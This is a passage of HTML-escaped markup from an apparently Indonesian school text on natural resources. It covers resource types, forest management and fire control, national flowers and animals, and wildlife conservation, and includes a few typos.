0);font-size:100%;" &gt;                  cukup ruang untuk hidup pada tingkat kestabilan sosial tertentu                  disebut &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  &lt;i&gt;daya dukung lingkungan. &lt;/i&gt; &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Singkatnya, daya dukung lingkungan ialah kemampuan lingkungan                  untuk mendukung perikehidupan semua makhluk hidup. &lt;/span&gt; &lt;/p&gt;               &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;" align="justify"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Di bumi ini, penyebaran sumber daya alam tidak merata letaknya.                  Ada bagianbagian bumi yang sangat kaya akan mineral, ada pula                  yang tidak. Ada yang baik untuk pertanian ada pula yang tidak.                  Oleh&lt;/span&gt;&lt;span style="font-size:100%;"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  karena itu, agar pemanfaatannya dapat &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  berkesinambungan, maka tindakan eksploi&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;tasi                  sumber daya alam harus disertai dengan &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  tindakan perlindungan. Pemeliharaan dan &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  pengembangan lingkungan hidup harus &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  dilakukan dengan cara yang rasional antara &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  lain sebagai berikut :&lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  1. Memanfaatkan sumber daya alam yang &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  dapat diperbaharui dengan&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;hati-hati                  dan efisien, misalnya: air, tanah, dan udara.&lt;br /&gt;          2. Menggunakan bahan pengganti, misalnya hasil metalurgi (campuran).&lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  3. Mengembangkan metoda menambang &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;dan                  memproses yang efisien,&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;serta                  pendaurulangan (recycling).&lt;br /&gt;          4. Melaksanakan etika lingkungan berdasarkan falsafah hidup secara           &lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;damai                  dengan alam. &lt;/span&gt; &lt;/p&gt;               &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  &lt;b&gt;1. Macam-macam sumber Daya Alam&lt;br /&gt;          &lt;/b&gt;Sumber daya alam dapat dibedakan berdasarkan sifat, potensi,                  dan jenisnya. &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;           &lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  &lt;b&gt;a. Berdasarkan sifat&lt;br /&gt;          &lt;/b&gt;Menurut sifatnya, sumber daya alam dapat dibagi 3, yaitu sebagai                  berikut :&lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  &lt;i&gt;1. Sumber daya alam yang terbarukan (re&lt;/i&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;&lt;i&gt;newable),                  &lt;/i&gt; &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  misalnya: hewan,&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;tumbuhan,                  &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;mikroba,                  air, dan tanah. Disebut ter &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;barukan                  karena dapat&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;melakukan                  reproduksi dan memiliki daya regenerasi &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  (pulih kembali).&lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  2. &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  &lt;i&gt;Sumber daya alam yang tidak terbarukan (nonrenewable), &lt;/i&gt;                  &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  misalnya:&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;minyak                  tanah, gas bumf, batu tiara, dan bahan tambang lainnya.&lt;br /&gt;          3. &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  &lt;i&gt;Sumber daya alam yang tidak habis,&lt;/i&gt; misalnya, udara, matahari,                  &lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;energi                  pasang surut, dan energi laut. &lt;/span&gt;&lt;/p&gt;               &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;" align="justify"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  &lt;b&gt;b. Berdasarkan potensi&lt;br /&gt;          &lt;/b&gt; &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Menurut potensi penggunaannya, sumber daya alam dibagi beberapa                  macam, antara lain sebagai berikut.&lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  1. &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  &lt;i&gt;Sumber daya alam materi; &lt;/i&gt; &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  merupakan sumber daya alam yang&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;dimanfaatkan                  dalam bentuk fisiknya. Misalnya, batu, besi, emas,&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;kayu,                  serat kapas, rosela, dan sebagainya.&lt;br /&gt;          2. &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  &lt;i&gt;Sumber daya alam energi; &lt;/i&gt; &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  merupakan sumber daya alam yang&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;dimanfaatkan                  energinya. Misalnya batu bara, minyak bumi, gas bumi,&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;air                  terjun, sinar matahari, energi pasang surut laut, kincir angin,                  dan&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;lain-lain.           &lt;br /&gt;          3. &lt;i&gt;Sumber daya alam ruang; &lt;/i&gt; &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  merupakan sumber daya alam yang berupa&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;ruang                  atau tempat hidup, misalnya area tanah (daratan) dan&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;angkasa.&lt;/span&gt;&lt;/p&gt;               &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;" align="justify"&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;&lt;b&gt;c.&lt;/b&gt;                  &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  &lt;b&gt;Berdasarkan jenis&lt;br /&gt;          &lt;/b&gt;&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Menurut jenisnya, sumber daya alam dibagi dua sebagai berikut                  :&lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  &lt;i&gt;1. Sumber daya alam nonhayati (abiotik); &lt;/i&gt;disebut juga sumber                  daya&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;alam                  fisik, yaitu sumber daya alam yang berupa benda-benda mati.&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;Misalnya                  : bahan tambang, tanah, air, dan kincir angin.&lt;br /&gt;          &lt;i&gt;2. Sumber daya alam hayati (biotik); &lt;/i&gt;merupakan sumber daya                  alam&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;yang                  berupa makhluk hidup. Misalnya: hewan, tumbuhan, mikroba,&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;dan                  manusia.&lt;/span&gt; &lt;/p&gt;               &lt;span style="color: rgb(0, 0, 0); font-family: times new roman;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;U&lt;span style="color: rgb(0, 0, 0);"&gt;raian                di sini hanya akan ditekankan&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-family: times new roman;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;                pada sumber daya alam hayati, termasuk &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-family: times new roman;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;                di dalamnya sumber daya manusia (SDM).&lt;br /&gt;        &lt;/span&gt;                &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;" align="left"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  &lt;b&gt;1. Sumber Daya Tumbuhan&lt;br /&gt;          &lt;/b&gt;&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Berbicara tentang sumber daya alam &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;tumbuhan                  kita tidak dapat menyebutkan jenis tumbuhannya, melainkan kegunaannya.                  Misalnya berguna untuk pangan, sandang, pagan, dan rekreasi. Akan                  tetapi untuk bunga-bunga tertentu, seperti melati, anggrek bulan,                  dan &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  &lt;i&gt;Rafflesia arnoldi&lt;b&gt; &lt;/b&gt;&lt;/i&gt; &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  merupakan pengecualian karena ketiga tanaman bunga tersebut sejak                  tanggal 9 Januari 1993 telah ditetapkan dalam Keppres No. 4 tahun                  1993 sebagai bunga nasional dengan masing-masing gelar sebagai                  berikut. &lt;/span&gt; &lt;/p&gt;               &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;" align="justify"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  1. Melati sebagai bunga bangsa.&lt;br /&gt;          2. Anggrek bulan sebagai bunga pesona.&lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  3. &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  &lt;i&gt;Raffiesia arnoldi &lt;/i&gt; &lt;/span&gt;&lt;span style="font-size:100%;"&gt;                  sebagai bunga langka.&lt;/span&gt;&lt;/p&gt;               &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;" align="justify"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Tumbuhan memiliki kemampuan untuk &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;menghasilkan                  oksigen dan tepung melalui proses fotosintesis. Oleh karena itu,                  tumbuhan merupakan produsen atau penyusun dasar rantai makanan.                  &lt;/span&gt; &lt;/p&gt;               &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;" align="justify"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Eksploitasi tumbuhan yang berlebihan dapat mengakibatkan kerusakan                  dan kepunahan, dan hal ini akan berkaitan dengan rusaknya rantai                  makanan. &lt;/span&gt;&lt;/p&gt;               &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;" align="justify"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;Kerusakan                  yang terjadi karena punah&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;nya                  salah satu faktor dari rantai makanan &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;akan                  berakibat punahnya konsumen tingkat &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;di                  atasnya. Jika suatu spesies organisme &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;punah,                  maka spesies itu tidak pernah akan &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;muncul                  lagi. Dipandang dari segi ilmu &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;pengetahuan,                  hal itu merupakan suatu ke &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;rugian                  besar. &lt;/span&gt; &lt;/p&gt;               &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;" align="justify"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Selain telah adanya sumber daya tumbuhan yang punah, beberapa                  jenis tumbuhan langka terancam pula oleh kepunahan, misalnya &lt;/span&gt;                  &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  &lt;i&gt;Rafflesia arnoldi &lt;/i&gt; &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  (di Indonesia) dan pohon raksasa kayu merah (Giant Redwood di                  Amerika). Dalam mengeksploitasi sumber daya &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;tumbuhan,                  khususnya hutan, perlu memperhatikan hal-hal sebagai berikut.&lt;br /&gt;          a. Tidak melakukan penebangan pohon di hutan dengan semena-mena           &lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;(tebang                  habis). &lt;/span&gt; &lt;span style="font-size:100%;"&gt;&lt;br /&gt;          &lt;span style="color: rgb(0, 0, 0);"&gt;b. Penebangan kayu di hutan dilaksanakan                  dengan terencana dengan&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;sistem                  tebang pilih (penebangan selektif). Artinya, pohon yang&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;ditebang                  adalah pohon yang sudah tua dengan ukuran tertentu yang&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;telah                  ditentukan.&lt;br /&gt;          &lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;c.                  Cara penebangannya pun harus dilaksanakan sedemikian rupa&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;sehingga                  tidak merusak pohon-pohon muda di sekitarnya. &lt;/span&gt; &lt;span style="font-size:100%;"&gt;&lt;br /&gt;          d&lt;span style="color: rgb(0, 0, 0);"&gt;. Melakukan reboisasi (reforestasi), yaitu                  menghutankan kembali hutan&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;yang                  sudah terlanjur rusak.&lt;br /&gt;          &lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;e.                  Melaksanakan aforestasi, yaitu menghutankan daerah yang bukan           &lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;hutan                  untuk mengganti daerah hutan yang digunakan untuk keperluan&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;lain.           &lt;br /&gt;          f. Mencegah kebakaran hutan. &lt;/span&gt; &lt;/p&gt;               &lt;span style="color: rgb(0, 0, 0); font-family: times new roman;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;                Kerusakan hutan yang paling besar dan sangat merugikan adalah kebakaran                hutan. Diperlukan waktu yang lama untuk mengembalikannya menjadi                hutan kembali. &lt;/span&gt;                &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;" align="justify"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Hal-hal yang sering menjadi penyebab kebakaran hutan antara lain                  sebagai berikut :&lt;/span&gt; &lt;span style="font-size:100%;"&gt;&lt;br /&gt;          &lt;span style="color: rgb(0, 0, 0);"&gt;a. Musim kemarau yang sangat panjang. &lt;/span&gt;&lt;/span&gt;                  &lt;span style="font-size:100%;"&gt;&lt;br /&gt;          &lt;span style="color: rgb(0, 0, 0);"&gt;b. Meninggalkan bekas api unggun yang &lt;/span&gt;&lt;/span&gt;                  &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;membara                  di hutan. &lt;/span&gt; &lt;span style="font-size:100%;"&gt;&lt;br /&gt;          &lt;span style="color: rgb(0, 0, 0);"&gt;c. Pembuatan arang di hutan. &lt;/span&gt;&lt;/span&gt;                  &lt;span style="font-size:100%;"&gt;&lt;br /&gt;          &lt;span style="color: rgb(0, 0, 0);"&gt;d. Membuang puntung rokok sembarangan &lt;/span&gt;&lt;/span&gt;                  &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;di                  hutan. &lt;/span&gt; &lt;/p&gt;               &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;" align="justify"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Untuk mengatasi kebakaran hutan diperlukan hal-hal berikut ini.                  &lt;/span&gt; &lt;span style="font-size:100%;"&gt;&lt;br /&gt;          &lt;span style="color: rgb(0, 0, 0);"&gt;a. Menara pengamat yang tinggi dan alat                  &lt;/span&gt;&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;telekomunikasi.                  &lt;/span&gt; &lt;span style="font-size:100%;"&gt;&lt;br /&gt;          &lt;span style="color: rgb(0, 0, 0);"&gt;b. Patroli hutan untuk mengantisipasi ke&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;mungkinan                  kebakaran. &lt;/span&gt; &lt;span style="font-size:100%;"&gt;&lt;br /&gt;          &lt;span style="color: rgb(0, 0, 0);"&gt;c. Sistem transportasi mobil pemadam ke&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;bakaran                  yang siap digunakan. &lt;/span&gt; &lt;/p&gt;               &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;" align="justify"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Pemadaman kebakaran hutan dapat dilakukan dengan dua cara seperti                  berikut ini :&lt;/span&gt; &lt;span style="font-size:100%;"&gt;&lt;br /&gt;          &lt;span style="color: rgb(0, 0, 0);"&gt;a. Secara langsung dilakukan pada api &lt;/span&gt;&lt;/span&gt;                  &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;kecil                  dengan penyemprotan air.&lt;br /&gt;          b. Secara tidak langsung pada api yang telah terlanjur besar,                  yaitu&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;melokalisasi                  api dengan membakar daerah sekitar kebakaran, dan&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;mengarahkan                  &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  api ke pusat pembakaran. Biasanya dimulai dari daerah&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;yang                  menghambat jalannya api, seperti: sungai, danau, jalan, dan&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;puncak                  bukit. &lt;/span&gt; &lt;/p&gt;                              &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;" align="justify"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Pengelolaan hutan seperti di atas sangat penting demi pengawetan                  maupun pelestariannya karena banyaknya fungsi hutan seperti berikut                  ini :&lt;br /&gt;          1. Mencegah erosi; dengan adanya hutan, air hujan tidak langsung                  jatuh&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;ke                  permukaan tanah, dan dapat diserap oleh akar tanaman.&lt;br /&gt;          2. &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Sumber ekonomi; melalui penyediaan kayu, getah, bunga, hewan,                  dan&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;sebagainya.           &lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  3. Sumber plasma nutfah; keanekaragaman hewan dan tumbuhan di           &lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;hutan                  memungkinkan diperolehnya keanekaragaman gen.&lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  4. Menjaga keseimbangan air di musim hujan dan musim kemarau.           &lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;Dengan                  terbentuknya humus di hutan, tanah menjadi gembur. Tanah&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;yang                  gembur mampu menahan air hujan sehingga meresap ke dalam&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;tanah,                  resapan air akan ditahan oleh akar-akar pohon. Dengan&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;demikian,                  di musim hujan air tidak berlebihan, sedangkan di musim&lt;br /&gt;          &lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;kemarau,                  danau, sungai, sumur dan sebagainya tidak kekurangan air. &lt;/span&gt;                &lt;/p&gt;               &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;"&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;&lt;b&gt;2.                  Sumber Daya Hewan&lt;br /&gt;          &lt;/b&gt;&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Seperti pada ketiga macam bunga nasional, sejak tanggal 9-1-1995,                  ditetapkan pula tiga satwa nasional sebagai berikut :&lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  1. Komodo &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  &lt;i&gt;(Varanus komodoensis) &lt;/i&gt; &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  sebagai satwa nasional darat. &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;           &lt;br /&gt;          2. Ikan Solera merah sebagai satwa nasional air.&lt;br /&gt;          3. Elang jawa sebagai satwa nasional &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;udara.           &lt;br /&gt;          &lt;/span&gt;&lt;/p&gt;               &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;"&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;Selain                  ketiga satwa nasional di atas, &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;masih                  banyak satwa Indonesia yang langka dan hampir punah. Misalnya                  Cendrawasih, Maleo, dan badak bercula satu.&lt;b&gt; &lt;/b&gt; &lt;/span&gt; &lt;/p&gt;               &lt;span style="color: rgb(0, 0, 0); font-family: times new roman;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;                Untuk mencegah kepunahan satwa langka, diusahakan pelestarian secara                i&lt;i&gt;n situ &lt;/i&gt;dan &lt;i&gt;ex situ. &lt;/i&gt;&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-family: times new roman;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;                &lt;i&gt;Pelestarian in situ &lt;/i&gt; &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-family: times new roman;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;                adalah pelestarian yang dilakukan di habitat asalnya, sedangkan                &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-family: times new roman;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;                &lt;i&gt;pelestarian ex situ &lt;/i&gt; &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-family: times new roman;font-family:Verdana,Arial,Helvetica,sans-serif;font-size:100%;"  &gt;                adalah pelestarian satwa langka dengan memindahkan satwa langka                dari habitatnya ke tempat lain. &lt;/span&gt;                &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;" align="justify"&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Sumber daya alam hewan dapat berupa hewan liar maupun hewan yang                  sudah dibudidayakan. Termasuk sumber daya alam satwa liar adalah                  penghuni hutan, penghuni padang rumput, penghuni padang ilalang,                  penghuni steppa, dan penghuni savana. Misalnya badak, harimau,                  gajah, kera, ular, babi hutan, bermacam-macam burung, serangga,                  dan lainnya.&lt;/span&gt;&lt;/p&gt;               &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;"&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;Termasuk                  sumber daya alam hewan &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  piaraan antara lain adalah lembu, kuda, domba, kelinci, anjing,                  kucing, bermacam- &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  macam unggas, ikan hias, ikan lele dumbo, &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  ikan lele lokal, kerang, dan siput.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;&lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;           &lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Terhadap hewan peliharaan itulah sifat terbarukan dikembangkan                  dengan baik. Selain memungut hasil dari peternakan dan perikanan,                  manusia jugs melakukan persilangan untuk mencari bibit unggul                  guns menambah keanekaragaman ternak.&lt;/span&gt;&lt;/p&gt;               &lt;p  style="color: rgb(0, 0, 0); font-family: times new roman;font-family:times new roman;"&gt;&lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  Dipandang dari peranannya, hewan &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  dapat digolongkan sebagai berikut :&lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  a. Sumber pangan, antara lain sapi, &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  kerbau, ayam, itik, lele, dan mujaer.&lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  b. Sumber sandang, antara lain bulu &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  domba dan ulat sutera.&lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  c. Sumber obat-obatan, antara lain ular &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  kobra dan lebah madu.&lt;br /&gt;          &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  d. Piaraan, antara lain kucing, burung, dan &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  ikan hiss.&lt;br /&gt;   &lt;br /&gt;          Untuk menjaga kelestarian satwa Langka, maka penangkapan hewan-hewan                  dan &lt;/span&gt; &lt;span style="color: rgb(0, 0, 0);font-size:100%;" &gt;                  juga perburuan haruslah mentaati peraturan tertentu seperti 